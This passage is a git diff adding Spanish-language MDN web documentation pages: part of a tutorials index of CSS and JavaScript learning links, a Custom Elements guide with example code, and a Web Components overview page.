+     <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_challenges" rel="external">Desafíos CSS </a> (Wikiversity)</dt>
+     <dd>Reta tus habilidades en CCS, con lo que podrás descubrir aquello que necesita mejorar.</dd>
+     <dt><a href="http://www.html.net/tutorials/css/" rel="external">Conceptos intermedios CSS</a> (HTML.net)</dt>
+     <dd>Agrupación, pseudo-clases y mucho más.</dd>
+     <dt><a href="http://www.alistapart.com/articles/css-positioning-101/" rel="external">Posicionamiento 101 CSS </a> (alistapart.com)</dt>
+     <dd>Usando posicionamiento con estándares complacientes y tablas de libre disposición.</dd>
+     <dt><a href="http://www.alistapart.com/articles/progressiveenhancementwithcss/" rel="external">Mejora progresivamente con CSS</a> (alistapart.com)</dt>
+     <dd>Intégrate mejorando progresivamente tus páginas web con CCS.</dd>
+     <dt><a href="http://www.alistapart.com/articles/fluidgrids/" rel="external">Cuadrícula fluida</a> (alistapart.com)</dt>
+     <dd>Diseño layouts que redimensiona fluidamente con la ventana del navegador, mientras sigue utilizando una cuadrícula tipográfica. </dd>
+    </dl>
+   </td>
+   <td>
+    <h3 id="Nivel_avanzado_2">Nivel avanzado</h3>
+
+    <dl>
+     <dt><a href="http://addyosmani.com/blog/css3-screencast/" rel="external">CSS3 en menos de 5 minutos</a> (Addy Osmani)</dt>
+     <dd>Una rápida introducción a algunas de las características fundamentales introducidas en CSS3.</dd>
+     <dt><a href="https://developer.mozilla.org/es/docs/CSS/Using_CSS_transforms">Usando las Transformaciones CSS</a></dt>
+     <dd>Aplica rotación, inclinando escalando y traduce usando CCS.</dd>
+     <dt><a href="/es/docs/CSS/Transiciones_de_CSS">Transiciones CSS</a></dt>
+     <dd>CSS transiciones, parte del proyecto de la especificación CSS3, proporciona un modo para animar los cambios en las propiedades CSS, en lugar de que los cambios surtan efecto al instante.</dd>
+     <dt><a href="http://www.alistapart.com/articles/understanding-css3-transitions/" rel="external">Entendiendo las Transiciones CSS3</a> (alistapart.com)</dt>
+     <dd>Comienza usando CSS3 por transiciones eligiendo cuidadosamente las situaciones  para utilizarlos.</dd>
+     <dt><a href="http://www.html5rocks.com/tutorials/webfonts/quick/" rel="external">Guia rápida para implementar Web Fonts con @font-face</a> (HTML5 Rocks)</dt>
+     <dd>La función @font-face de CSS3 te permite utilizar tipografías personalizadas en la web de una forma accesible, manipulable y adaptable.</dd>
+     <dt><a href="/es/docs/CSS/Media_queries">Usando Media Queries</a></dt>
+     <dd>Como realizar páginas web multiscreen con el uso de CSS y su propiedad @media.</dd>
+     <dt><a href="/es/docs/Web/Guide/CSS/Cajas_flexibles">Modelo de cajas con Flexbox</a></dt>
+     <dd>Permite distribuir el contenido de la web de forma sencilla y adaptable.</dd>
+    </dl>
+   </td>
+  </tr>
+  <tr>
+   <td></td>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Tutoriales de JavaScript</h2>
+
+    <h3 id="Nivel_introductorio_3">Nivel introductorio</h3>
+
+    <dl>
+     <dt><a href="http://www.codecademy.com/">Codecademy</a> (Codecademy)</dt>
+     <dd>Codecademy es la forma más fácil de aprender a programar en JavaScript. Es interactivo, divertido y puedes compartir o hacer código con tus amigos.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Getting_Started">Comenzar con JavaScript</a></dt>
+     <dd>¿Qué es JavaScript y cómo puede ayudarte en el desarrollo web?</dd>
+     <dt><a href="http://docs.webplatform.org/wiki/concepts/programming/programming_basics" rel="external">Programar – Los fundamentos</a> (WebPlatform.org)</dt>
+     <dd>Fundamentos de programación. Los artículos te indican lo que puedes hacer con JavaScript, las mejores prácticas para utilizarlo y mucho más.</dd>
+     <dt><a href="http://dev.opera.com/articles/view/javascript-best-practices/" rel="external">Las mejores prácticas en JavaScript</a><a href="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices" title="http://docs.webplatform.org/wiki/tutorials/javascript_best_practices"> </a>(WebPlatform.org)</dt>
+     <dd>Aprende algunas de las más evidentes (y no tan evidentes) mejores prácticas cuando escribes en JavaScript.</dd>
+    </dl>
+
+    <h3 id="Nivel_intermedio_2">Nivel intermedio</h3>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/A_re-introduction_to_JavaScript">Una reintroducción a JavaScript</a></dt>
+     <dd>Resumen del lenguaje de programación JavaScript enfocado a desarrolladores de nivel intermedio.</dd>
+     <dt><a href="http://eloquentjavascript.net/contents.html" rel="external">JavaScript fluído</a></dt>
+     <dd>Una guía completa para metodologías JavaScript intermedias y avanzadas.</dd>
+     <dt><a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/" rel="external">Fundamentos de patrones de diseño en JavaScript</a> (Addy Osmani)</dt>
+     <dd>Una introducción a las bases del diseño de patrones en JavaScript.</dd>
+     <dt><a href="http://www.yuiblog.com/blog/2007/01/24/video-crockford-tjpl/" rel="external">El lenguaje de programación JavaScript</a> (YUI Blog)</dt>
+     <dd>Douglas Crockford explora el lenguaje tal y como es hoy en día y cómo llegó a ser así.</dd>
+     <dt><a href="https://developer.mozilla.org/es/docs/Introducci%C3%B3n_a_JavaScript_orientado_a_objetos?redirectlocale=en-US&amp;redirectslug=JavaScript%2FIntroduction_to_Object-Oriented_JavaScript">Introducción a JavaScript Orientado a Objetos</a></dt>
+     <dd>Aprende sobre el modelo de objetos en JavaScript.</dd>
+    </dl>
+
+    <h3 id="Nivel_avanzado_3">Nivel avanzado</h3>
+
+    <dl>
+     <dt><a href="http://ejohn.org/apps/learn/" rel="external">Aprender JavaScript avanzado</a> (John Resig)</dt>
+     <dd>La guía de John Resig para JavaScript avanzado.</dd>
+     <dt><a href="http://www.elated.com/articles/javascript-dom-intro/" rel="external">Introducción a DOM en JavaScript</a> (Elated)</dt>
+     <dd>¿Qué es el Modelo de Objeto de Documento (<em>Document Object Model</em>) y para qué es útil? Este artículo te dará una buena introducción a esta característica de JavaScript.</dd>
+     <dt><a href="http://yuiblog.com/blog/2006/10/20/video-crockford-domtheory/" rel="external">Una API inconveniente: la teoría de DOM</a> (YUI Blog)</dt>
+     <dd>Douglas Crockford explica el Modelo de Objeto de Documento (<em>Document Object Model</em>).</dd>
+     <dt><a href="http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/" rel="external">JavaScript avanzado</a> (YUI Blog)</dt>
+     <dd>Douglas Crockford estudia con detenimiento los patrones de código con los que los programadores de JavaScript pueden elegir al escribir sus aplicaciones.</dd>
+     <dt><a href="http://bonsaiden.github.com/JavaScript-Garden/" rel="external">JavaScript Garden</a></dt>
+     <dd>Documentación sobre las partes más extravagantes de JavaScript.</dd>
+     <dt><a href="http://www.maestrosdelweb.com/editorial/comparacion-frameworks-javascript/" rel="external">¿Qué framework de JavaScript?</a> (Maestrosdelweb)</dt>
+     <dd>Consejos para escoger un framework de JavaScript.</dd>
+     <dt><a href="http://yuiblog.com/blog/2008/07/22/non-blocking-scripts/">Carga de JavaScript sin bloqueos</a> (YUI Blog)</dt>
+     <dd>Consejos para mejorar el rendimiento de bajada de páginas que contienen JavaScript.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide">Guía de JavaScript</a></dt>
+     <dd>Una guía de JavaScript completa y actualizada frecuentemente para todos los niveles de aprendizaje, desde principiante hasta avanzado.</dd>
+    </dl>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <h3 id="Desarrollo_de_extensiones">Desarrollo de extensiones</h3>
+   </td>
+   <td>
+    <p><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><strong><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">Extensiones web</a></strong><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span></p>
+
+    <p>Extensiones Web es un sistema de navegación cruzada para desarrollar complementos del buscador. El sistema es en gran medida compatible con la <a href="https://developer.chrome.com/extensions">API (Interfaz de Programación de Aplicaciones) </a>respaldada por Google Chrome y Opera. En la mayoría de los casos, las extensiones escritas para estos buscadores pueden funcionar en Firefox o Microsoft Edge con <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension">solo algunos cambios</a>. La API es compatible también con el <a href="https://developer.mozilla.org/en-US/Firefox/Multiprocess_Firefox">multiprocesador de Firefox</a>.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/web_components/custom_elements/index.html b/files/es/web/web_components/custom_elements/index.html
new file mode 100644
index 0000000000..4a789f98d2
--- /dev/null
+++ b/files/es/web/web_components/custom_elements/index.html
@@ -0,0 +1,181 @@
+---
+title: Custom Elements
+slug: Web/Web_Components/Custom_Elements
+tags:
+  - Componentes Web
+  - Web Components
+  - custom elements
+translation_of: Web/Web_Components/Using_custom_elements
+---
+<p>Los <em>Custom Elements </em>son una característica que permite crear tus propios <a href="https://developer.mozilla.org/en-US/docs/Glossary/Element">elementos</a> HTML personalizados. Pueden tener un comportamiento personalizado y estilos CSS propios. Son una parte de los <a href="https://developer.mozilla.org/en-US/docs/Web/Web_Components">Web Components</a>, pero también pueden ser utilizados independientemente.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Los <em>Custom elements</em> sólo se han estabilizado recientemente, y partes de MDN todavía contienen información desactualizada de las APIs de los antiguos borradores de la especificación.</p>
+</div>
+
+<p>Puede no estar claro por qué se creó la nueva capacidad de elementos personalizados, ya que ya era posible crear una etiqueta como <code>&lt;mytag&gt;</code> y aplicarle estilo con CSS, luego utilizar scripts para darle comportamiento. Una ventaja que tienen los <em>custom elements</em> son las reacciones de ciclo de vida (<em>lifecycle reactions)</em>, que permiten asociar comportamiento a diferentes partes del nuevo "ciclo de vida" del elemento. Por ejemplo, se puede asociar un comportamiento concreto cuando un nuevo elemento se inserta en el DOM ("conectado"), y otro distinto cuando es eliminado del DOM ("desconectado"), o cuando sus atributos cambien.</p>
+
+<p>El habilitador de claves de los elementos personalizados v1 es el método {{domxref("CustomElementRegistry.define()")}}, el cual se puede utilizar para definir un nuevo elemento personalizado. El nuevo elemento utilizará la clase suministrada para cualquier instancia, en lugar del valor predeterminado  {{domxref("HTMLUnknownElement")}}.  Los elementos personalizados pueden basarse en un elemento nativo como <code>&lt;button&gt;</code>,  utilizando la sintaxis  <code>&lt;button is="my-button"&gt;</code>;  estos se llaman <em>elementos integrados personalizados.</em></p>
+
+<h2 id="Métodos_de_custom_element">Métodos de <em>custom element</em></h2>
+
+<p>Los <em>Custom elements</em> tienen los siguientes métodos que dictan su comportamiento:</p>
+
+<dl>
+ <dt>constructor()</dt>
+ <dd>Llamado cuando el elemento es creado o actualizado</dd>
+ <dt>connectedCallback()</dt>
+ <dd>Llamado cuando el elemento se es insertado en el documento, incluyéndose en un árbol shadow</dd>
+ <dt>disconnectedCallback()</dt>
+ <dd>Llamado cuando el elemento es eliminado de un documento</dd>
+ <dt>attributeChangedCallback(nombreDelAtributo, antiguoValor, nuevoValor, dominio)</dt>
+ <dd>Llamado cuando un atributo es cambiado, concatenado, eliminado o reemplazado en el elemento. Sólo llamado sobre <a href="#Atributos_Observados">atributos observados</a>.</dd>
+ <dt>adoptedCallback(antiguoDocumento, nuevoDocumento)</dt>
+ <dd>Llamado cuando un elemento es adoptado en otro nuevo documento</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Los <em>custom elements</em> necesitan usar la <a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes">sintaxis de clase</a> introducida en las versiones modernas de JavaScript.</p>
+
+<p>Archivo HTML:</p>
+
+<pre class="brush: html">Si no aparece nada debajo, es que tu navegador no soporta aún los Custom Elements.
+&lt;x-product data-name="Ruby" data-img="https://s3-us-west-2.amazonaws.com/s.cdpn.io/4621/ruby.png" data-url="http://example.com/1"&gt;&lt;/x-product&gt;
+&lt;x-product data-name="JavaScript" data-img="https://s3-us-west-2.amazonaws.com/s.cdpn.io/4621/javascript.png" data-url="http://example.com/2"&gt;&lt;/x-product&gt;
+&lt;x-product data-name="Python" data-img="https://s3-us-west-2.amazonaws.com/s.cdpn.io/4621/python.png" data-url="http://example.com/3"&gt;&lt;/x-product&gt;</pre>
+
+<p>Archivo JS:</p>
+
+<pre class="brush: js">// Declaración de un <em>custom element</em> que hereda de HTMLElement
+class XProduct extends HTMLElement {
+  constructor() {
+    // Siempre debe llamarse primero al constructor padre
+    super();
+
+    // Se crea el <em>shadow root</em>
+    var shadow = this.attachShadow({mode: 'open'});
+
+    // Se crea un elemnto img y se asignan sus atributos.
+    var img = document.createElement('img');
+    img.alt = this.getAttribute('data-name');
+    img.src = this.getAttribute('data-img');
+    img.width = '150';
+    img.height = '150';
+    img.className = 'product-img';
+
+    // Añadir la imagen al shadow root.
+    shadow.appendChild(img);
+
+    // Añadir un elemento de escucha a la imagen.
+    img.addEventListener('click', () =&gt; {
+      window.location = this.getAttribute('data-url');
+    });
+
+    // Crear un enlace al producto.
+    var link = document.createElement('a');
+    link.innerText = this.getAttribute('data-name');
+    link.href = this.getAttribute('data-url');
+    link.className = 'product-name';
+
+    // Añadir el enlace al shadow root.
+    shadow.appendChild(link);
+  }
+}
+
+// Definir el nuevo elemento.
+customElements.define('x-product', XProduct);
+</pre>
+
+<p>Archivo CSS:</p>
+
+<pre class="brush: css">body {
+  background: #F7F7F7;
+}
+
+x-product {
+  display: inline-block;
+  float: left;
+  margin: 0.5em;
+  border-radius: 3px;
+  background: #FFF;
+  box-shadow: 0 1px 3px rgba(0,0,0,0.25);
+  font-family: Helvetica, arial, sans-serif;
+  -webkit-font-smoothing: antialiased;
+}
+
+x-product::slotted(.product-img) {
+  cursor: pointer;
+  background: #FFF;
+  margin: 0.5em;
+}
+
+x-product::slotted(.product-name) {
+  display: block;
+  text-align: center;
+  text-decoration: none;
+  color: #08C;
+  border-top: 1px solid #EEE;
+  font-weight: bold;
+  padding: 0.75em 0;
+}
+</pre>
+
+<p>A continuación se muestra el ejemplo en vivo de lo anterior:</p>
+
+<p>{{ EmbedLiveSample('Example', '1500', '250', '', 'Web/Web_Components/Custom_Elements') }}</p>
+
+<h2 id="Atributos_Observados">Atributos Observados</h2>
+
+<p>Para ser notificado cuando un atributo cambia, se debe definir una lista de atributos observados al inicializar el elemento, poniendo un getter estático <code>observedAttributes</code> en la clase del elemento que devuelve un array de nombre de atributos.</p>
+
+<p>Archivo JS:</p>
+
+<pre class="brush: js">class HelloElement extends HTMLElement {
+  // Observar los cambios en el atributo 'name'.
+  static get observedAttributes() {return ['name']; }
+
+  // Responder a los cambios en el atributo.
+  attributeChangedCallback(attr, oldValue, newValue) {
+    if (attr == 'name') {
+      this.textContent = `Hello, ${newValue}`;
+    }
+  }
+}
+
+// Definir el nuevo elemento
+customElements.define('hello-element', HelloElement);
+</pre>
+
+<p>Archivo HTML:</p>
+
+<pre class="brush: html">&lt;hello-element name="Anita"&gt;&lt;/hello-element&gt;</pre>
+
+<p>A continuación está el ejemplo en vivo de lo anterior:</p>
+
+<p>{{ EmbedLiveSample('Observed_attributes', '750', '100', '', 'Web/Web_Components/Custom_Elements') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Los <em>Custom Elements </em>están definido en la siguiente especificación:</p>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td><a href="https://html.spec.whatwg.org/multipage/scripting.html#custom-elements">The HTML Standard: Custom elements</a></td>
+   <td>LS</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Recursos">Recursos</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/fundamentals/primers/customelements/">Custom elements v1: reusable web components - Google Developers tutorial</a></li>
+</ul>
diff --git a/files/es/web/web_components/index.html b/files/es/web/web_components/index.html
new file mode 100644
index 0000000000..96e3250cb2
--- /dev/null
+++ b/files/es/web/web_components/index.html
@@ -0,0 +1,224 @@
+---
+title: Web Components
+slug: Web/Web_Components
+tags:
+  - Componentes
+  - Componentes Web
+  - Landing
+  - TopicStub
+  - Web Components
+translation_of: Web/Web_Components
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<div class="summary">
+<p>Los Componentes Web son un paquete de diferentes tecnologías que te permiten crear elementos personalizados reutilizables — con su funcionalidad encapsulada apartada del resto del código — y utilizarlos en las aplicaciones web.</p>
+</div>
+
+<h2 id="Conceptos_y_uso">Conceptos y uso</h2>
+
+<p>Como desarrolladores, sabemos que reutilizar código tanto como sea posible es una buena idea. Esto tradicionalmente no es sencillo para estructuras de marcado personalizadas — piense en el complejo HTML (y sus estilos y scripts asociados) que en ocasiones se han tenido que escribir para renderizar controles de interfaz (UI) personalizados, y ahora usarlos múltiples veces puede crear un caos en la página si no se es cuidadoso.</p>
+
+<p>Los Componentes Web apuntan a resolver dichos problemas — consiste en tres tecnologías principalmente, las que se pueden usar juntas para crear elementos personalizables versátiles que encapsulan la funcionalidad y pueda ser reutilizada donde sea sin miedo a colisiones de código.</p>
+
+<ul>
+ <li><strong>Custom elements</strong> (elementos personalizados): Un conjunto de APIs de JavaScript que permiten definir elementos personalizados y su comportamiento, que entonces puede ser utilizado como se deseé en la interfaz del usuario.</li>
+ <li><strong>Shadow DOM</strong>: Un conjunto de APIs de JavaScript para fijar un árbol DOM "sombra" encapsulado a un elemento — que es renderizado por separado del documento DOM principal — y controlando funcionalidad asociada. De esta forma, se pueden mantener características de un elemento en privado, así puede tener el estilo y los scripts sin miedo de colisiones con otras partes del documento.</li>
+ <li><strong>HTML templates</strong> (plantillas HTML): Los elementos {{HTMLElement("template")}} y {{HTMLElement("slot")}} permiten escribir plantillas de marcado que no son desplegadas en la página renderizada. Éstas pueden ser reutilizadas en múltiples ocasiones como base de la estructura de un elemento personalizado.</li>
+</ul>
+
+<p>La aproximación básica para implementar un componente web, generalmente es la siguiente:</p>
+
+<ol>
+ <li>Crear una clase o función en la cual especificar la funcionalidad del componente web. Si se usa una clase, usar la sintaxis de ES2015 (ver <a href="/en-US/docs/Web/JavaScript/Reference/Classes">Clases</a> para más información).</li>
+ <li>Registrar el nuevo elemento personalizado utilizando el método {{domxref("CustomElementRegistry.define()")}}, pasándole el nombre del elemento a ser definido, la clase o función en la cuál su funcionalidad esta especificada, y opcionalmente, de que elemento hereda.</li>
+ <li>Si se requiere, adjuntar un shadow DOM al elemento personalizado usando el método {{domxref("Element.attachShadow()")}}. Añadir elementos hijos, oyentes de eventos, etc., al shadow DOM utilizando métodos normales del DOM.</li>
+ <li>Si se requiere, definir una plantilla HTML utilizando {{htmlelement("template")}} y {{htmlelement("slot")}}. Nuevamente usar métodos regulares del DOM para clonar la plantilla y acoplarla al shadow DOM.</li>
+ <li>Utilizar los componentes personalizados en la página web cuando se desee, como se utilizaría cualquier otro elemento HTML.</li>
+</ol>
+
+<h2 id="Tutoriales">Tutoriales</h2>
+
+<dl>
+ <dt><a href="/es/docs/Web/Web_Components/Using_custom_elements">Utilizando elementos personalizados (Using custom elements)</a></dt>
+ <dd>Guía que muestra como usar las características de los elementos personalizados para crear componentes web sencillos, así como revisar las llamadas del ciclo de vida y algunas características más avanzadas.</dd>
+ <dt><a href="/es/docs/Web/Web_Components/Using_shadow_DOM">Utilizando el shadow DOM</a></dt>
+ <dd>Guía que trata los fundamentos del shadow DOM, mostrando como adjuntar un shadow DOM a un elemento, añadir el árbol del shadow DOM, añadirle estilos y más.</dd>
+ <dt><a href="/es/docs/Web/Web_Components/Using_templates_and_slots">Usando templates y slots</a></dt>
+ <dd>Guía que muestra como definir una estructura HTML reutilizable utilizando elementos {{htmlelement("template")}} y {{htmlelement("slot")}} elements, y entonces usar esa estructura debto del componente web.</dd>
+</dl>
+
+<h2 id="Referencia">Referencia</h2>
+
+<h3 id="Elementos_personalizados">Elementos personalizados</h3>
+
+<dl>
+ <dt>{{domxref("CustomElementRegistry")}}</dt>
+ <dd>Contiene funcionalidad relacionada a los elementos personalizados, más notablemente el método {{domxref("CustomElementRegistry.define()")}} utilizado para registrar nuevos elementos personalizados para que se puedan usar en el documento</dd>
+ <dt>{{domxref("Window.customElements")}}</dt>
+ <dd>Retorna una referencia al objeto <code>CustomElementRegistry</code>.</dd>
+ <dt><a href="/en-US/docs/Web/Web_Components/Using_custom_elements#Using_the_lifecycle_callbacks">Llamadas del ciclo de vida (Life cycle callbacks)</a></dt>
+ <dd>Llamadas de funciones especiales declaradas dentro de la clase de definición de los componentes personalizados, los que afectan su comportamiento:
+ <ul>
+  <li><code>connectedCallback</code>: Invocado cuando el componente personalizado se conecta por primera vez al DOM del documento.</li>
+  <li><code>disconnectedCallback</code>: Invocado cuando el componente personalizado se deconecta del DOM del documento.</li>
+  <li><code>adoptedCallback</code>: Invocado cuando el componente personalizado se mueve a un nuevo documento.</li>
+  <li><code>attributeChangedCallback</code>: Invocado cuando uno de los atributos del componente personalizado es añadido, removido o modificado.</li>
+ </ul>
+ </dd>
+ <dd>
+ <ul>
+ </ul>
+ </dd>
+</dl>
+
+<dl>
+ <dt>Extensiones para crear elementos incorporados personalizados</dt>
+ <dd>
+ <ul>
+  <li>El atributo global HTML {{htmlattrxref("is")}}: Permite especificar que un elemento estandar HTML debe comportarse como un elemento incorporado personalizado registrado.</li>
+  <li>La opción "is" del método {{domxref("Document.createElement()")}}: Permite crear una instancia de un elemento HTML estandar que se comporta como un determinado elemento incorporado personalizado registrado.</li>
+ </ul>
+ </dd>
+ <dt>Pseudo-clases CSS</dt>
+ <dd>Pseudo-clases relacionadas específicamente a elementos personalizados:
+ <ul>
+  <li>{{cssxref(":defined")}}: Coincide con cualquier elemento declarado, incluyendo elementos incorporados y elementos personalizados definidos con <code>CustomElementRegistry.define()</code>).</li>
+  <li>{{cssxref(":host")}}: Selecciona el <em>shadow host</em> del <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a> conteniendo el CSS que es usado.</li>
+  <li>{{cssxref(":host()")}}: Selecciona el <em>shadow host</em> del <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a> conteniendo el CSS que es usado (para que se pueda seleccionar un elemento personalizado desde dentro de su <em>shadow DOM</em>) — pero solo si el selector determinado como el parámetro de la función coincide con el <em>shadow host</em>.</li>
+  <li>{{cssxref(":host-context()")}}: Selecciona el <em>shadow host</em> del <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a> conteniendo el CSS que es usado (para que se pueda seleccionar un elemento personalizado desde dentro de su <em>shadow DOM</em>) — pero solo si el selector determinado como el parámetro de la función coincide con el shadow host de los ancestros del sitio desde el cual esta ubicado en la jerarquía del DOM.</li>
+ </ul>
+ </dd>
+ <dd>
+ <ul>
+ </ul>
+ </dd>
+ <dt>Pseudo-elementos CSS</dt>
+ <dd>Pseudo-elementos relacionados especificamente a elementos personalizados:
+ <ul>
+  <li>{{cssxref("::part")}}: Representa cualquier elemento dentro del <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow tree</a> que contiene un atributo {{HTMLAttrxRef("part")}} que coincida.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Shadow_DOM">Shadow DOM</h3>
+
+<dl>
+ <dt>{{domxref("ShadowRoot")}}</dt>
+ <dd>Representa el nodo raíz de un subárbol de un <em>shadow DOM</em>.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot")}}</dt>
+ <dd>Un mixin definiendo características que son disponibles a través de documentos y <em>shadow roots</em>.</dd>
+ <dt>Extensiones a {{domxref("Element")}}</dt>
+ <dd>Extensiones a la interfaz <code>Element</code> relacionada al <em>shadow DOM</em>:
+ <ul>
+  <li>El método {{domxref("Element.attachShadow()")}} conecta un árbol <em>shadow DOM </em>al elemento especificado.</li>
+  <li>La propiedad {{domxref("Element.shadowRoot")}} retorna el <em>shadow root</em> acoplado al elemento determinado, o <code>null</code> si no hay un <em>shadow root</em> adjuntado.</li>
+ </ul>
+ </dd>
+ <dt>Adiciones relevantes a {{domxref("Node")}}</dt>
+ <dd>Adiciones a la interfaz <code>Node</code> relevantes al <em>shadow DOM</em>:
+ <ul>
+  <li>El método {{domxref("Node.getRootNode()")}} retorna la raíz del objeto del contexto, que opcionalmente incluye el <em>shadow root</em> si se encuentra disponible.</li>
+  <li>La propiedad {{domxref("Node.isConnected")}} retorna un boleano indicando si el Nodo esta o no conectado (directamente o indirectamente) al objeto del contexto, es decir, el objeto {{domxref("Document")}} en el caso del DOM normal, o al {{domxref("ShadowRoot")}} en el caso del shadow DOM.</li>
+ </ul>
+ </dd>
+ <dt>Extensiones a {{domxref("Event")}}</dt>
+ <dd>Extensiones a la interfaz <code>Event</code> relacionada al shadow DOM:
+ <ul>
+  <li>{{domxref("Event.composed")}}: Retorna un {{jsxref("Boolean")}} que indica si el evento se va a propagar a través de los límites del <em>shadow DOM </em>hacia el<em> </em>DOM normal (<code>true</code>), o no (<code>false</code>).</li>
+  <li>{{domxref("Event.composedPath")}}: Retorna la ruta del evento (objetos en los que oyentes serán invocados). Esto no incluye nodos en <em>shadow trees</em> si el <em>shadow root</em> fue creado con {{domxref("ShadowRoot.mode")}} cerrado.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Plantillas_HTML">Plantillas HTML</h3>
+
+<dl>
+ <dt>{{htmlelement("template")}}</dt>
+ <dd>Contiene un fragmento de HTML que no es renderizado cuando se carga inicialmente un documento que lo contiene, pero puede ser desplegado en tiempo de ejecución usando JavaScript, principalmente usado como la base de la estructura de los elementos personalizados. La interfaz DOM asociada es {{domxref("HTMLTemplateElement")}}.</dd>
+ <dt>{{htmlelement("slot")}}</dt>
+ <dd>Un espacio termporal dentro de un componente web que se puede llenar con una plantilla de marcado propia, lo que permite crear árboles DOM separados y presentarlos juntos. La interfaz DOM asociada es {{domxref("HTMLSlotElement")}}.</dd>
+ <dt>El atributo global HTML <code><a href="/en-US/docs/Web/HTML/Global_attributes/slot">slot</a></code></dt>
+ <dd>Asigna un slot en un <em>shadow tree</em> de un <em>shadow DOM</em> shadow tree a un elemento.</dd>
+ <dt>{{domxref("Slotable")}}</dt>
+ <dd>Un mixin implementado tanto por los nodos {{domxref("Element")}} y {{domxref("Text")}}, definiendo características que les permiten convertirse en el contenido de un elemento {{htmlelement("slot")}}. El mixin define un atributo, {{domxref("Slotable.assignedSlot")}}, el cual retorna una referencia al nodo del slot donde esta insertado.</dd>
+</dl>
+
+<dl>
+ <dt>Extensiones a {{domxref("Element")}}</dt>
+ <dd>Extensiones a la interfaz <code>Element</code> relacionadas a slots:
+ <ul>
+  <li>{{domxref("Element.slot")}}: Retorna el nombre del slot del <em>shadow DOM</em> adjunto al elemento.</li>
+ </ul>
+ </dd>
+ <dt>Pseudo-elementos de CSS</dt>
+ <dd>Pseudo-elementos especificamente relacionados a slots:
+ <ul>
+  <li>{{cssxref("::slotted")}}: Coincide cualquier contenido que es insertado dentro de un slot.</li>
+ </ul>
+ </dd>
+ <dt>El evento {{event("slotchange")}}</dt>
+ <dd>Disparado en una instancia {{domxref("HTMLSlotElement")}} (elemento {{htmlelement("slot")}}) cuando el o los nodos contenidos es ese slot cambia.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Se están construyendo varios ejemplos en nuestro repositorio de GitHub <a href="https://github.com/mdn/web-components-examples">web-components-examples</a>. Se añadirán más con el tiempo.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG","scripting.html#the-template-element","&lt;template&gt; element")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>La definición de {{HTMLElement("template")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG","custom-elements.html#custom-elements","custom elements")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>La definición de <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">elementos personalizados HTML (HTML Custom Elements)</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG","#shadow-trees","shadow trees")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>La definición de <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML Imports", "", "")}}</td>
+   <td>{{Spec2("HTML Imports")}}</td>
+   <td>Definición inicial de <a href="/en-US/docs/Web/Web_Components/HTML_Imports">HTML Imports</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Shadow DOM", "", "")}}</td>
+   <td>{{Spec2("Shadow DOM")}}</td>
+   <td>Definición inicial de <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<p><a href="https://twitter.com/polymer/status/1217578939456970754/photo/1"><img alt="Soporte de Componentes Web" src="https://pbs.twimg.com/media/EOW1l5dVAAADJuF?format=jpg&amp;name=large" style="height: 684px; width: 1200px;"></a></p>
+
+<p>(Imagen tomada de <a href="https://www.webcomponents.org/">webcomponents.org</a>)</p>
+
+<p>Para revisar detalladamente el soporte para ciertas características (sobre todo en versiones anteriores o navegadores antiguos), se puede consultar las páginas de referencia listadas anteriormente</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
